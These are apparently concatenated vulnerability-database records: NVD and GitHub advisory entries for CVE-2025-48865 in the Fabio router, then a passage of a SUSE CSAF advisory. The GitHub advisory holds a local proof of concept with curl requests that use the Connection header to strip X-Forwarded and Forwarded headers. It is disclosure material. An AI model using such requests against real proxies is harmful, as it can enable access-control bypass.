{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:fabiolb:fabio:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "6A945EFC-B582-43E7-A382-9EE8DFF03511",
              "versionEndExcluding": "1.6.6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6."
    },
    {
      "lang": "es",
      "value": "Fabio es un enrutador HTTP(S) y TCP para implementar aplicaciones administradas por consul. Antes de la versi\u00f3n 1.6.6, Fabio permit\u00eda a los clientes eliminar los encabezados X-Forwarded (excepto X-Forwarded-For) debido a una vulnerabilidad en el procesamiento de los encabezados salto a salto. Fabio a\u00f1ade encabezados HTTP como X-Forwarded-Host y X-Forwarded-Port al enrutar solicitudes a aplicaciones backend. Dado que la aplicaci\u00f3n receptora debe confiar en estos encabezados, permitir que los clientes HTTP los eliminen o modifiquen crea posibles vulnerabilidades de seguridad. Algunos de estos encabezados personalizados pueden eliminarse y, en ciertos casos, manipularse. El ataque se basa en que los encabezados pueden definirse como salto a salto mediante el encabezado HTTP Connection. Este problema se ha corregido en la versi\u00f3n 1.6.6."
    }
  ],
  "id": "CVE-2025-48865",
  "lastModified": "2025-06-04T19:54:41.613",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-05-30T07:15:23.940",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/fabiolb/fabio/releases/tag/v1.6.6"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-345"
        },
        {
          "lang": "en",
          "value": "CWE-348"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-345"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fabiolb/fabio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-29T16:50:58Z",
    "nvd_published_at": "2025-05-30T07:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nFabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.\n\nFabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.\n\nHowever, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\n```\nConnection: close, X-Forwarded-Host\n```\n\nSimilar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik.\n\n### Details\nIt was found that the following headers can be removed in this way (i.e. by specifying them within a connection header):\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Real-Ip\n- Forwarded\n\n### PoC\nThe following docker-compose file was used for testing:\n```yml\nversion: \u00273\u0027\nservices:\n  fabio:\n    image: fabiolb/fabio\n    ports:\n      - \"3000:9999\"\n      - \"9998:9998\"\n    volumes:\n      - ./fabio.properties:/etc/fabio/fabio.properties\n\n  backend:\n    build: .\n    ports:\n      - \"8080:8080\"\n    environment:\n      - PYTHONUNBUFFERED=1\n```\n\nThe fabio.properties configuration:\n```\nproxy.addr = :9999\nui.addr = :9998\nregistry.backend = static\nregistry.static.routes = route add service / http://backend:8080/\n```\n\nA Python container runs a simple HTTP server that logs received headers.\nThe Dockerfile:\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\nCOPY app.py .\n\nRUN pip install flask\n\nEXPOSE 8080\n\nCMD [\"python\", \"app.py\"]\n```\n\nPython Flask Server\n```python\nfrom flask import Flask, request\nimport sys\nimport os\n\nsys.stdout.flush()\nsys.stderr.flush()\nos.environ[\u0027PYTHONUNBUFFERED\u0027] = \u00271\u0027\n\napp = Flask(__name__)\n\n@app.before_request\ndef log_request_info():\n    print(\"HEADERS:\")\n    for header_name, header_value in request.headers:\n        print(f\"   {header_name}: {header_value}\")\n\n@app.route(\"/\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef hello():\n    return f\"Hello, World! Method: {request.method}\"\n\n@app.route(\"/\u003cpath:path\u003e\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef catch_all(path):\n    return f\"Caught path: {path}, Method: {request.method}\"\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)\n```\n\nA normal HTTP request/response pair looks like this:\n#### Request \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nConnection: keep-alive\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n    -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n    $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nServer: Werkzeug/3.1.3 Python/3.11.12\nDate: Thu, 22 May 2025 23:09:12 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 25\nConnection: close\n\nHello, World! Method: GET\n```\n\nServer Log\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nNext, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:\n#### Request\n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nyeet: 123\nConnection: keep-alive, Forwarded\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n    -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive, Forwarded\u0027 \\\n    $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nContent-Length: 25\nContent-Type: text/html; charset=utf-8\nDate: Thu, 22 May 2025 23:42:45 GMT\nServer: Werkzeug/3.1.3 Python/3.11.12\n\nHello, World! Method: GET\n```\n\nServer Logs\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nThe response shows that Fabio\u0027s `Forwarded` header was removed from the request\n\n### Impact\nIf the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.\n\nThis vulnerability has a critical severity rating similar to  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3)\n\nStripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce).\n\n### References\n-  [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) \n-  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813)\n- [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)",
  "id": "GHSA-q7p4-7xjv-j3wf",
  "modified": "2025-05-30T15:25:57Z",
  "published": "2025-05-29T16:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fabiolb/fabio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/releases/tag/v1.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fabio allows HTTP clients to manipulate custom headers it adds"
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "govulncheck-vulndb-0.0.20250612T141001-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the govulncheck-vulndb-0.0.20250612T141001-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2025-15225",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2025_15225-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2020-36846 page",
        "url": "https://www.suse.com/security/cve/CVE-2020-36846/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2022-31022 page",
        "url": "https://www.suse.com/security/cve/CVE-2022-31022/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2023-42818 page",
        "url": "https://www.suse.com/security/cve/CVE-2023-42818/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-0913 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-0913/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-1792 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-1792/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-22874 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-22874/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-25207 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-25207/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-25208 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-25208/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-2571 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-2571/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-29785 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-29785/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-3230 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-3230/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-3260 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-3260/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-3454 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-3454/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-3611 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-3611/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-3913 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-3913/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-4128 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-4128/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-4573 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-4573/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-4673 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-4673/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-47950 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-47950/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48494 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48494/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48495 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48495/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48710 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48710/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48865 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48865/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48938 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48938/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48948 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48948/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-48949 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-48949/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-49011 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-49011/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-49136 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-49136/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2025-49140 page",
        "url": "https://www.suse.com/security/cve/CVE-2025-49140/"
      }
    ],
    "title": "govulncheck-vulndb-0.0.20250612T141001-1.1 on GA media",
    "tracking": {
      "current_release_date": "2025-07-03T00:00:00Z",
      "generator": {
        "date": "2025-07-03T00:00:00Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2025:15225-1",
      "initial_release_date": "2025-07-03T00:00:00Z",
      "revision_history": [
        {
          "date": "2025-07-03T00:00:00Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
                  "product_id": "govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
                  "product_id": "govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
                  "product_id": "govulncheck-vulndb-0.0.20250612T141001-1.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64",
                  "product_id": "govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Tumbleweed",
                "product": {
                  "name": "openSUSE Tumbleweed",
                  "product_id": "openSUSE Tumbleweed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:opensuse:tumbleweed"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64"
        },
        "product_reference": "govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le"
        },
        "product_reference": "govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x"
        },
        "product_reference": "govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        },
        "product_reference": "govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2020-36846",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2020-36846"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "A buffer overflow, as described in CVE-2020-8927, exists in the embedded Brotli library.   Versions of IO::Compress::Brotli prior to 0.007 included a version of the brotli library prior to version 1.0.8, where an attacker controlling the input length of a \"one-shot\" decompression request to a script can trigger a crash, which happens when copying over chunks of data larger than 2 GiB. It is recommended to update your IO::Compress::Brotli module to 0.007  or later. If one cannot update, we recommend to use the \"streaming\" API as opposed to the \"one-shot\" API, and impose chunk size limits.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2020-36846",
          "url": "https://www.suse.com/security/cve/CVE-2020-36846"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1175825 for CVE-2020-36846",
          "url": "https://bugzilla.suse.com/1175825"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "critical"
        }
      ],
      "title": "CVE-2020-36846"
    },
    {
      "cve": "CVE-2022-31022",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2022-31022"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Bleve is a text indexing library for go. Bleve includes HTTP utilities under bleve/http package, that are used by its sample application. These HTTP methods pave way for exploitation of a node\u0027s filesystem where the bleve index resides, if the user has used bleve\u0027s own HTTP (bleve/http) handlers for exposing the access to the indexes. For instance, the CreateIndexHandler (`http/index_create.go`) and DeleteIndexHandler (`http/index_delete.go`) enable an attacker to create a bleve index (directory structure) anywhere where the user running the server has the write permissions and to delete recursively any directory owned by the same user account. Users who have used the bleve/http package for exposing access to bleve index without the explicit \nhandling for the Role Based Access Controls(RBAC) of the index assets would be impacted by this issue. Version 2.5.0 relocated the `http/` dir used _only_ by bleve-explorer to `blevesearch/bleve-explorer`, thereby addressing the issue. However, the http package is purely intended to be used for demonstration purposes. Bleve was never designed handle the RBACs, nor it was ever advertised to be used in that way. The collaborators of this project have decided to stay away from adding any authentication or authorization to bleve project at the moment. The bleve/http package is mainly for demonstration purposes and it lacks exhaustive validation of the user inputs as well as any authentication and authorization measures. It is recommended to not use bleve/http in production use cases.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2022-31022",
          "url": "https://www.suse.com/security/cve/CVE-2022-31022"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2022-31022"
    },
    {
      "cve": "CVE-2023-42818",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2023-42818"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "JumpServer is an open source bastion host. When users enable MFA and use a public key for authentication, the Koko SSH server does not verify the corresponding SSH private key. An attacker could exploit a vulnerability by utilizing a disclosed public key to attempt brute-force authentication against the SSH service This issue has been patched in versions 3.6.5 and 3.5.6. Users are advised to upgrade. There are no known workarounds for this issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2023-42818",
          "url": "https://www.suse.com/security/cve/CVE-2023-42818"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "critical"
        }
      ],
      "title": "CVE-2023-42818"
    },
    {
      "cve": "CVE-2025-0913",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
